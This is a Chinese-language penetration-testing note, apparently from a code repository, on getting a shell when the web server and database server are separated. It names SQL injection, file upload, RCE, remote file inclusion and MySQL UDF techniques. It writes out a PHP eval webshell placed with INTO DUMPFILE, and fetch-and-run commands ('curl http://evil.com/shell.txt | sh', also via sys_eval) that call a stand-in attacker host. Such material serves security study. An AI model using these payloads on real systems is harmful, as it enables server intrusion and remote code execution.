Files
2025-09-25 03:54:33 +08:00

42 lines
3.3 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### 站库分离怎么拿 Shell
**1. SQL 注入结合文件上传或文件写入漏洞**
即使无法直接写入 `webshell`,SQL 注入仍然可以用于读取或修改数据库中的数据。如果应用程序存在**文件上传漏洞**,攻击者可以利用 SQL 注入漏洞修改数据库中的某些配置,例如文件上传路径、文件后缀白名单等
**渗透思路:**
- 利用SQL注入读取网站的配置文件,获取文件上传路径
- 利用SQL注入修改数据库中的上传路径或白名单,使其允许上传恶意文件类型(如 `.php`
- 结合文件上传漏洞,上传精心构造的 `webshell`
**2. 利用数据库的写权限进行命令执行**
在某些非严格配置的环境中,数据库用户可能拥有写入文件系统的权限。攻击者可以尝试通过数据库的 `LOAD_FILE()``SELECT ... INTO DUMPFILE` 等函数,将恶意代码写入到 Web 服务器的可写目录中
**渗透思路:**
- **读取配置文件**: 利用 SQL 注入读取 Web 服务器上的 `phpinfo` 或网站配置文件,寻找可写的目录路径
- **写入`webshell`**: 尝试使用`SELECT '<?php @eval($_POST[cmd]);?>' INTO DUMPFILE '/var/www/html/upload/shell.php'``webshell` 代码写入到Web服务器的 `upload` 目录
- **注意**: 这种方法需要数据库用户具有 `file_priv` 权限,并且数据库的`secure_file_priv`参数没有限制。在站库分离架构下,这种配置是**不推荐**的,但仍有可能存在
**3. 利用 Web 服务器自身的漏洞**
这是最直接有效的方法。在站库分离架构中,数据库服务器通常难以直接入侵,但 Web 服务器本身可能存在**远程命令执行(RCE)**或**文件包含(LFI/RFI**等高危漏洞
**渗透思路:**
- **远程命令执行(RCE)**: 如果 Web 服务器存在 RCE 漏洞,攻击者可以直接执行系统命令,例如`curl http://evil.com/shell.txt | sh`,下载并执行恶意脚本,从而获取反弹`shell`或写入`webshell`
- **文件包含(LFI/RFI**: 利用 LFI/RFI 漏洞,可以读取敏感文件或包含远程服务器上的恶意文件。例如,攻击者可以利用 `file_get_contents('http://evil.com/shell.txt')` 将远程 `webshell` 文件包含到 Web 服务器,从而执行恶意代码
**4. 通过数据库的 UDF 函数提权**
如果攻击者在数据库上拥有足够高的权限(例如`root`),并且数据库服务器允许动态加载库文件,他们可以上传自定义的**UDF(用户自定义函数)**库文件,并在数据库服务器上执行系统命令
**渗透思路:**
- **SQL注入提权**: 利用 SQL 注入获取数据库 `root` 权限
- **上传UDF文件**: 通过 `load_file()``into dumpfile` 等方法,将恶意 UDF 库文件(例如`lib_mysqludf_sys.so`)上传到数据库服务器的插件目录
- **创建自定义函数**: 在数据库中创建新的函数,例如 `sys_eval()`,该函数能够执行系统命令
- **执行命令**: 调用 `sys_eval()` 函数,执行系统命令,例如 `select sys_eval('curl http://evil.com/shell.txt | sh')`
- **注意**: 这种方法主要用于在数据库服务器上获取 `shell`,而不是在 Web 服务器上。但如果数据库服务器配置不当,可能通过 UDF 执行的命令来反向攻击 Web 服务器